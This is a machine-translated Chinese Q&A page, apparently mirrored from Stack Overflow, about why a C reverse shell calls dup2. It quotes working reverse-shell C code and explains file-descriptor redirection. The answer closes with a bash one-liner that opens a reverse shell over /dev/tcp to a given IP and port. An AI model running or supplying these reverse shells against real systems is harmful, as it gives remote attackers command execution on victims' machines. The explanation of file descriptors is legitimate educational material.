繁体   English   中英

为什么在这个 C 反向 shell 代码中需要 dup2?

[英]Why is dup2 necessary in this C reverse shell code?

我遇到了这个用 c 编写的反向 shell 代码。

main(){
    int sock = socket(AF_INET, SOCK_STREAM, 0);

    struct sockaddr_in sock_addr;
    sock_addr.sin_family = AF_INET;
    sock_addr.sin_port = htons(8080);
    sock_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
    connect(sock, (struct sockaddr *)&sock_addr, sizeof(struct sockaddr_in));   

    dup2(sock, STDIN_FILENO);
    dup2(sock, STDOUT_FILENO);
    dup2(sock, STDERR_FILENO);
    execl("/bin/sh", NULL);
}

我想了解它,所以我了解了文件描述符,因为使用了 dup2。 现在的问题是我不明白为什么。

套接字的手册页让我假设,stdin、stdout 和 stderr 正在被套接字替换。

[...] 成功调用返回的文件描述符将是当前未为进程打开的最低编号的文件描述符。

这个假设是真的吗? 如果是,您为什么要重置默认流? 是否因为线程暗示的以下 execl("/bin/sh", NULL) 行?

文件描述符

每个文件、套接字、管道等...在您的进程中由一个称为文件描述符的数字唯一标识。
如果您创建一个新的文件描述符,您将获得进程中最低的未使用文件描述符编号,从 0 开始。

每个文件的前 3 个文件描述符都有特殊作用:

FD C 常数
0 标准输入文件编号
1 标准输出_文件编号
2 STDERR_FILENO

如果您愿意,您可以随时通过查询/proc来查看文件描述符(以及它们所指的内容),例如:

ls -l /proc/<pid of your process>/fd

execve 及其朋友

execve用参数指定的新进程替换当前进程。
您的进程打开的所有文件描述符都将保持打开状态¹,新进程可以使用它们。

¹ 除了标记为close-on-exec

你的程序做什么

在您的程序启动后,您的文件描述符可能如下所示:

0 -> /dev/pts/1
1 -> /dev/pts/1
2 -> /dev/pts/1

(只是普通的stdin、stdout、stderr,连接到普通终端)

之后你分配一个套接字: int sock = socket(AF_INET, SOCK_STREAM, 0);

0 -> /dev/pts/1
1 -> /dev/pts/1
2 -> /dev/pts/1
3 -> [socket:12345]

然后你连接插座并进入dup2。 dup2克隆一个文件描述符,并且 - 与dup不同 - 为其分配一个特定的文件描述符编号(如果该 fd 已经在使用中,它将首先关闭)

所以在dup2(sock, STDIN_FILENO); 你的 fd 看起来像这样:

0 -> [socket:12345]
1 -> /dev/pts/1
2 -> /dev/pts/1
3 -> [socket:12345]

所以在execl之前,fd 将是:

0 -> [socket:12345]
1 -> [socket:12345]
2 -> [socket:12345]
3 -> [socket:12345]

然后你的进程执行到/bin/sh ,用一个 shell 替换当前进程。

所以现在你有一个 shell,它的输入和输出连接到你创建的套接字,有效地允许套接字另一端的程序发送任意 shell 命令,这些命令将由/bin/sh执行,输出通过插座。

正如@JonathanLeffler 在评论中指出的那样,fd 3 可以在 exec 之前关闭,因为它不需要。

为什么不使用dup而不是dup2

dup ,就像您引用的那样,将为您提供流程中可用的最低可用 fd。

因此,可以执行以下操作:

close(STDIN_FILENO);
close(STDOUT_FILENO);
close(STDERR_FILENO);
dup(sock);
dup(sock);
dup(sock);

关闭将关闭 fd 0-2:

3 -> [socket:12345]

并且 dup 会将 fd 3 复制到 0-2(您总是得到最低的可用数字,即使这些数字是 stdin、stdout 或 stderr)

0 -> [socket:12345]
1 -> [socket:12345]
2 -> [socket:12345]
3 -> [socket:12345]

但是,如果您有其他线程正在创建 fd,这可能会出错(例如,另一个线程可能只是在您关闭 stdin 后创建一个新 fd,所以它得到 fd 0,而您的 dup() 稍后将得到 4)

这就是dup2()的含义:精确分配特定的 fd(在这种情况下,stdin、stdout、stderr)

dup2() 系统调用执行与 dup() 相同的任务,但它不使用编号最低的未使用文件描述符,而是使用 newfd 中指定的文件描述符编号。 换句话说,文件描述符 newfd 被调整,以便它现在引用与 oldfd 相同的打开文件描述。

还有dup3 ,除了dup2可以做的之外,它还允许您指定标志,例如O_CLOEXEC ,它会在分叉时自动关闭 fd。

使用 bash 的最简单方法

# $1 ip address
# $2 remote port 
/bin/bash -i >& /dev/tcp/$1/$2 0>&1

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM